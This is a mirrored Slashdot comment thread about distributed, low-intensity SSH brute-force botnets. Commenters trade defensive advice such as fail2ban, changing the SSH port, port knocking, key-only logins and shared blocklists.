Slashdot Mirror
Distributed, Low-Intensity Botnets
badger.foo writes "We have seen the future of botnets, and it is distributed and low-key. Are sites running free software finally becoming malware targets? It all started with a higher-than-usual number of failed ssh logins at a low-volume site. I think we are seeing the shape of botnets to come, with malware authors doing their early public beta testing during the last few weeks."
And I didn't even need to use a botnet!
If you find this post offensive, don't read it! THINK ABOUT YOUR BREATHING! I am what I am because of how apes behave.
"the future of botnets, and it is distributed"
Were there ever any botnets that weren't distributed?
Isn't that what already do? Distributed, rather than monolithic, spamming?
Anyway, it's not that surprising...
I get 500-1000 failed ssh attempts a day on any server I open ssh which is why I restrict to only a few IP addresses. I'd get this many attacks 4 and 5 years ago and there is no real reason to attack us.
If the bad guys can siphon off what they need without being more than a mild annoyance, they can operate without fear of retribution.
I've seen SSH probes on my one-man-and-a-dog site for aeons. I don't think there's anything out of the ordinary, the scum has been trying (and failing) to get in for as long as I've had something listening on the 'net - and that is a long time. There's also nothing new in them trying to root FLOSS-sites as those sites - with their fixed IP addresses, good uptime, high reliability and abundance of crappy PHP-scripts to open the doors - make for good C&C hosts for their flock.
So all I read from this flog is that a grumpy BSD user should probably check his logs more often. This is nothing new.
--frank[at]unternet.org
Like, cancer, but on computers. In computers. Swarming through an incomprehensibly convoluted and complicated array of computers. Why, oh why, did I ever, start, using, computers?
"But seriously dude, what is that in the radiator?"
the difference between parasitism and commensal symbiosis. Great. It's already hard enough to keep infestation under control in the network ecosystem. When there's no visible damaging impact, how will we detect them?
Welcome to the Panopticon. Used to be a prison, now it's your home.
I get somewhere between twenty and thirty attempts per day agianst my SSH server alone. The server blocks the IP permanently after 3 bad attempts and they always try repeatedly until blocked. most of the attempts come from cable or dsl address spaces. I use gibberish for usernames and only allow certificate based authentication. They still keep trying however.
Okay, how is this different than previous patterns of hacking activity, other than the fact that they're aquiring compromised machines via a bot net? It's not! These "security researchers" remind me sometimes of my pothead friends. You can always tell someone who's new to smoking weed because they constantly ask the question, "but have you done it on WEED?" It's like somehow the idea that these people are using a botnet makes it all strange and new again. No, fail!
#fuckbeta #iamslashdot #dicemustdie
fail2ban will watch your log files and when it sees probing will firewall ban the offender. It has virtually eliminated probing attacks on my networks of machines. Sure, a distributed botnet can still probe you, but I haven't seen that happening.
Do be careful though...
I've seen these for years also as knarf has. I had one account compromised (due to a weak password.) What they use is an app that goes through a wordlist of usernames with a shorter list of passwords tried for each username (it was copied onto my system along with a few RIDICULOUSLY ANCIENT rootkits, like 1994 vintage...) It is not equipped to spread automatically, though, everything appears to have been copied over and executed manually. There was an irc program (which would not be able to execute, it was old enough to need like a.out and libc4!) it appears it could have been run to leave the intruder an irc-based backdoor (not a very good one since it wouldn't survive a reboot...), but did not have any sort of conventional botnet functionality.
I just block ssh access from anything with .ch .kr or .ru
I use Fail2ban on all of my iptables-based SSH servers, as it eliminates the possibility of brute-force attacks from single IPs (fail2ban will ban any IP with five failed ssh logins in a ten minute period. The ban vanishes after ten minutes).
However, this new botnet attack distributes the attack over the IP-space and time. That bypasses fail2ban!
The only solution I can see to this would be to take an approach similar to the centralized spam-fighting solutions; a DNSBL specialized for brute-force botnets. You run something that monitors your logs for failed logins (with a large scope for time, say ten failed attempts in a month). When an IP triggers it, you block that IP for a month and report it to the DNSBL. The DNSBL operates like Spamcop, trying to verify the nature of the IP (and trying to address the issue), then adding it to the blocklist. Anything listed on a DNSBL gets permanently blocked after one failed authentication, and if your internal list grows too big, any positive IP gets blocked before the login attempt.
Use my userscript to add story images to Slashdot. There's no going back.
Like the OP I was getting loads of hits on port 22. I just setup portknocking and it works a treat.. My other system that I use ssh on (its on the a sub domain of my main site) I just moved to a higher port and that has prevented it from getting the hits..
Normally I don't recommend Security through obscurity but in the case of automated attacks it is worth while. Just don't rely on it alone.
These sorts of attacks are nothing new. If you are running an SSH server directly accessible from the Internet, check your /var/log/auth.log log sometime. You may be alarmed by the surprisingly large number of attacks you get every day, even if it is your home IP with no sort of domain name associated.
I like to run DenyHosts on my machines, which watches this log file and adds suspicious IPs to your /etc/hosts.deny. I generally have several new IPs added daily. Also disable remote root logins, because then the attacker has to guess a username and a password: an extra few bits of security (they try "root", then go on to "tester", "tester1", ... , "guest", "guest1", etc.). And, of course, use strong passwords for SSH accounts. In your logs you will find attackers employing dictionary attacks (which DenyHosts will quickly cut off).
SSH keys ensure that you're virtually immune to attacks, since the attack now MUST be brute-force (or break the RSA/DSA algorithms or compromise the server itself rather than an account), and must crack a "password" of over 150 base64 characters representing the 1024 bits of entropy in the key; a completely random printable password of 20 characters has 130 bits of entropy and an 8-word Diceware passphrase has only 120; you're not brute-forcing that.
Preventing root from accessing remotely is just smart (your logs can show who really logged in, your sudo logs show who needed root-level access and when, and you can auto-ban root logins immediately rather than after a set number of failed authentications).
All we're missing is the extension to #3 to handle distributed attack failures (as proposed by the parent post); with the proper protections, this is a bandwidth issue rather than a security issue (unless you're worried about DDoS, but we're talking about low-intensity attacks here).
For those of you stuck permitting passwords, you'll want something like John the Ripper to brute-force users' insecure passwords before the enemies do. This way you can disable their accounts when you find that they are vulnerable and force them to change their password to something more secure.
Use my userscript to add story images to Slashdot. There's no going back.
I got pissed off with the rattling of my ssh doorknob years ago and moved it off of port 22. It's not that hard. The only downside is having to remember (and type) the port number.
Now my logs are nice a quiet and I'm the only username who ever even tries to connect. Not the solution for Enterprise, but it works at home.
This is easy to do and will thwart kiddies/botnets off, just change the SSHd port to something else other than 22. Unless your server is being targeted directly (they'll nmap you...) this will stop most mass-scan brute-force attacks.
Repeat the above for FTPd, too.
Actually, a simple one line IPtables rate limit on port 22 new connection attempts (or whichever port you use for SSH is better than Fail2ban or Denyhosts, because it will never lock yourself out.
I suspect that the author has such a limit on his firewall machine and that it is the reason why he sees the slow attack rates and that the slowness has nothing to do with the attackers!
Excuse me, but please get off my Pennisetum Clandestinum, eh!
The interesting thing is that, since Nov 23 06:48:34, I'm getting the exact same login names at virtually the same times as mentioned in TFA. This is in the 77.248.x.x netblock, the Netherlands. Anybody else noticing the same?
-JAB
Wait until they combine this with Debian's 2^16 weak ssh keys. Do you think that will be easier or harder to crack than passwords?
It might make more sense to try to notice tens of thousands of attempted log ins to a single account and then do something proactive about that (I realize that this is less proactive than attacking user passwords, but it has the advantage of not requiring bothering them).
Nerd rage is the funniest rage.
This is not a game changing tactic. My institution has documented these style attacks on several past occaisions. There was some of this going around near the 4th of July. There was an extended bout this time last year. The attackers only use this tactic a few times a year. We have come to expect it on major holidays.
Economics can not be ignored. This attack must balance reward and risk.
In a normal SSH password guessing attack, the attacker risks a handful of computers. The committed computers do very noisy attacks and are probably lost to him.
In this SSH attack, the attacker risks hundreds of computers. This only pays off if the possibility of detection is greatly reduced or if the reward is greatly increased.
Fortunately, it is easy to detect this attack, and identify the attacking computers. You can use Cisco netflow data to characterize and identify the attackers. You can also identify the attackers with a SSH honeypot.
My institution takes the effort to document these attacks and report the attacking computers to their ISP's. It doesn't always work, but it works often enough to change the economics of attack. And each reported attacking machine is a possible pointer back to the hacker. Plus, it is the right thing to do.
Miles
One of the effective ways to not worry about these probes, is to run your ssh daemon on a non standard port.
So, instead of it being on port 22, run it on port 1022 or some other port.
You can do that by modifying your /etc/ssh/sshd_config to contain the line: Port 1022.
This means that scp and ssh will have to be told about the port on the command line though.
2bits.com, Inc: Drupal, WordPress, and LAMP performance tuning.
I switched to only allowing keys a long time ago. This stops this attack dead, whether it is distributed or not. If I ever lock myself out, or use a computer where I don't have any keys already set up, I have a special, password-encrypted key that I can access over an authenticated https url.
On my VPS I took advantage of SSH's new configuration features to disable password authentication for outside connections, but allow password for connections coming from within my wide-area private network (openvpn rocks!). But with the stored, accessible, ssh key on the server itself, I rarely need to use a password directly, ever.
If that product use the recent target, be careful what kernel you use it on. You'll find that after a few weeks the damned target starts matching stuff it shouldn't and you might lock yourself out of your server. IIRC the expiry time winds up becoming infinite.
Don't worry, it's a documented bug somewhere, and recent kernels aren't affected. 2-year-old kernels are for-sure though. I just can't remember the precise details; I've been bit by it trying to throttle SMTP.
Do daemons dream of electric sleep()?
I run fail2ban on every Internet-facing machine that I set up and/or manage. The policy I use is that 5 failed logins results in an iptables ban from any access to the box for 24 hours.
table persist file "/etc/pf.blacklist"
block drop in log quick on $ext_if from
pass in on $ext_if proto tcp from any to ($ext_if) port ssh \
flags S/SA keep state \
(max-src-conn-rate 6/60, overload flush global)
I long ago installed 'bruteblock' on my box, which plonks an IP address for N minutes after X failed attempts (both configurable). It's very small and efficient. But this obviously does nothing for distributed attacks. I should probably move the SSH port for a couple weeks... *sigh*
Schwab
Editor, A1-AAA AmeriCaptions
The distributed attacks get past normal security measures which watch for attacks from a single IP.
So...something new.
For about the last 2 years I Have been getting continuously hit with botnet hosts every 2 minutes trying every conceivable email address@mydomain. I tried writing a rule to autoblock them with iptables but the list grew into the 10s of thousands and slowed down my machine. I put a greylist on it and now they get greylisted but they keep coming and coming and coming. There must have been more than a million greylisted email attempts over the preceding two years. Far more than the amount of legit mail I get.
Pretty lame, people.
Move sshd to another port?
Obscurity.
Rate limiting?
IP-based bans on failed logins?
Elaborate username based bans?
All reactive solutions.
Portknocking?
A more complex obscurity tactic, but very weak as an extra authentication layer.
TFA mentions ssh public key auth, and disabling password authentication. That would be much better/more effective than anything mentioned here.
If you're serious about security, then you aught to actually add another layer. Firewall off ssh completely and require a VPN connection first. eg: http://openvpn.net/
So we are still user password-based SSH authentication?
Colorless green Cthulhu waits dreaming furiously.
The only solution I can see to this would be to take an approach similar to the centralized spam-fighting solutions; a DNSBL [wikipedia.org] specialized for brute-force botnets.
Damn! I just posted about this as a reply to a previous thread, and it definitely belongs here instead.
Anyway, check out BruteForceBlocker, it's exactly what you describe, but it's implemented as a plaintext list instead of a DNSBL. Hosts using BruteForceBlocker can report attacks back to the central server. The list of recently reported attackers is public.
It's meant for BSD variants using the pf firewall, but I rolled my own implementation to parse FreeBSD ipfw logs (and report back) in a day or two. A daring volunteer could easily create a fork that works with Linux auth logs and iptables instead. Or set up a DNSBL that parses the list every hour or so and creates the appropriate zones.
Thanks to the War on Drugs, it's easier to buy meth than it is to buy cold medicine!
Fail2ban actually bans the offending IP after several failed authentications within a small window of time, and the ban is only for a small window of time ... the purpose is not defensive for security, but rather for bandwidth preservation; it's okay for somebody to try a few pokes here and there, just not a flurry of them.
The only bit that BruteForceBlocker has that fail2ban does not is that of the reporting and checking mechanism, which appears to be a recent addition. I don't see any indication that the blocklist is a well-groomed and up-to-date list, which is huge problem, as most of the IPs used by botnets are dynamic, and any one of them could be cleaned or re-allocated for legitimate use in the future. This lends itself to the same issues as your typical DNSBLs, which is why I proposed such a thing over a more generic blacklist.
Given the issue with maintenance, I'd stay clear of that feature. It might be useful for sharing temporary blocklists between your own servers, but you must be sure to rotate them periodically so that they do not grow stale.
That brings me to the next issue - efficiency. I don't know too much about the inner workings of pf or iptables, but if you have a poorly implemented filter hosting a lookup table with tens of thousands of IPs to check against, you're going to slow your system's entire internet traffic pipe considerably.
Use my userscript to add story images to Slashdot. There's no going back.
It would be unusual for most humans to attempt to login with the same username from different IPs during a short period (less than the standard shared IP lease time). So don't accommodate this exceptional behavior? If different IPs attempt a login to the same username more than n times over this many minutes, put up a temporary ban. This way a brute force attack would need to emit from the same IP, flushing the attack back into high visibility where the current fail2ban behavior provides some security.
Can fail2ban cross-check usernames and IPs over time to enforce a rule like this?
This may help!
(modding)
I was wondering what those hundreds of failed ssh logins were from every day.
I didn't really have any idea what was up, so I just changed my SSH port to 22222 and the problem went away.
Heuristics. They're an ancient art, but they can work.
Also, default deny. It's annoying to answer the question, "Do you want to connect to x4rubotnet%a7b.ru?" but it's more annoying not to be asked. If your users have no legitimate reason to be accessing .cn, .ru or other .?? addresses there's no reason to configure your DNS to give legitimate returns for those as an organization. Likewise for the more vile quadrants of the IP space. For some networks it's better just not to ask.
Sure, it causes a Balkanization of the Internet, but end users do the darnedest things, sometimes when they don't intend to. The unfortunate part about hyperlinks is that they are so easy to click. Corralling the Internet for them to sites in civilized territory is better than letting them wander off that cliff. Especially when their PC becomes a chain that drags the rest of your network over the cliff with them.
Or (gasp!) you could run an OS that's less susceptible to following him off the cliff?
Help stamp out iliturcy.
Knock is an interesting suggestion. While in effect it isn't that much more than another password it has certain advantages:
- potentially much more random than passwords using the full 65000 range against a lot of alphanumericals in typical passwords. Discourages dictionary attacks.
- Adding firewall rules for hosts costs cycles both for the work and then potentionally for all further network traffic, exponentially. Using knock instead, while knock adds overhead it is linear. The firewall on its end can be set up to generally consume less resources to compensate. Knock offers better victim economics.
- It combines well with keys, even if the key or the laptop it is on is stolen, the risk is limited (if the knock isn't recorded in bash history ...)
On the flip side it is vulnerable to replay attacks, but replay attacks are somewhat costly and likely not found worthwhile if what they open is a ssh login prompt.
Leading to my second point;
The problem is that it costs very little for the client to try ssh passwords all day long. If the ssh logon needed you to solve increasingly complex challenges for each try, it could pose significant problem for botnet managers since it would make the bot slow down, possibly triggering response with the owner of the computer. It is tolerable to users to wait 5 seconds more for external ssh login, (even if it would be 30 seconds on an iphone).
A possible third failed try challenge could be a sudoku puzzle, perhaps in a pdf form. Cheap to generate a reasonable batch of these. Would be preferrable to be locked out for users or admins. With some randomization it wouldn't checksum. Numbers could be gifs. Now obviously it wouldn't stop any determined attacker, but the cost of the attack would be up with a very high factor. And each success would only yield a very meager chance of a return on the investment.
Perhaps a possible project for his grumppyness?
I'm surprised nobody seems to have mentionned OpenVPN. This is definitely to me the ultimate solution to any and all of these problems. Install an OpenVPN server on the host you want to expose to the outside; give an RSA key to anyone who want to access the site. They'll have to install an OpenVPN client though (very easy). Then they can have total secure access to any service you like on your system, not only remote login (e.g., database access, email, whatever). Nobody else will even be able to see the server (total blackhole).
I had seen this on my own system back in July for the first time, and it eventually went away. It kept up for some time, to the point where I decide to write a little script to watch who is trying to come in.
Then it came back last month and I paid a little more attention to what I had been doing before. There was one significant thing that I did just before it (re)started:
I placed an ad on craigslist that had a link back to my own server for information on what I was selling.
We all know that of course the spamming botnets tend to troll craigslist looking for valid email addresses to add to their lists. I would say it appears that the botnets are now looking through craigslist for systems to attack as well.
Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
I don't think root login is the problem here (though I agree most reasonable admins disable it). Those of us with more detailed ssh logging will see that these distributed attacks are not attempting root anyways.
As someone pointed out earlier, these attempts are usually doing a dictionary attack of common usernames instead. The general MO here is that for any user name from aaaaaaaa to zzzzzzzz from their list, some number of systems (usually 3-5) will attempt that user name, and then the botnet will move on to the next user name from the dictionary and repeat.
By my logs, anyways, most hacking attempts have given up on root attempts and switched to this method instead. I have many, many, pages of ssh login failures from the botnet dictionary attempts, with just a few directed root attempts scattered in between.
Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
I see people miss this quite often, so I'll mention it here. If you are using a PAM-aware sshd (I think most distros are now), you MUST also set UsePAM no. Otherwise, PAM will still ask for a password despite your PasswordAuthentication setting. You may not notice since you've (probably) set up your ssh-keys already.
Good call on that. It took me a while to figure that one out when Debian added PAM to the mix. Always test!
Use my userscript to add story images to Slashdot. There's no going back.
Great, so now script kiddies will be completely unable to penetrate my box, but they will fail miserably in a distributed fashion.
Do you want to bet that the time it takes to brute force a well secured system in this manner is measured in the thousands of years to millennial range?
Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
Isn't there a way to throttle new login attempts? There seem to be many solutions to limit access by source-IP, but none that would simply enforce a limit on the total number of new ssh connections accepted per minute. A limit on the overall connection rate along with a ten second delay in authentication would make even a distributed brute force attack impractical.
A blocklist generated by logging failed attempts would be the best solution for this. Not only would it be fairly successful in blocking known bad-hosts (with a fixed ip address anyway...) it would also be interesting to cross-link the data against known spam-hosts to see if theres any correlation. It would add credence to both blacklists and could decrease the effectiveness of the botnets.
On the other hand this could just be evidence that the spammers are feeling the economic downturn and have found a few cycles to spare. The attacks can easily be optimized; how many ssh servers allow an amanda to login?
Port obfuscation works too.
Those bots seem really stupid and only hammer port 22/tcp. Once you move your SSHD to another port (like 2222, for example) suddenly you stop having 4k failed connection attempts per hour.
Compared to port knocking, it has the added benefit being simple to use from everywhere (knocking the port before establishing SSH connection won't be easy from a PalmOS PDA. It's possible, but requires you to write an additional new software), just like the PHP-script technique (every machine equipped with a SSH client should be able to download a password protected HTML page, even unnusal stuff like PDAs).
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
As a Swiss citizen, I feel personally offended that you so much underestimate the fierce attacks power of Switzerland.
And our mighty and terrifying Swiss army.
Equiped with our deadly swiss army pocket knifes.
Specially the models with the cork-screw.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
I'm actually astonished that Victorinox & Wenger haven't yet managed to cram an IP tool among all other weird appendices featured on their pocket knifes.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]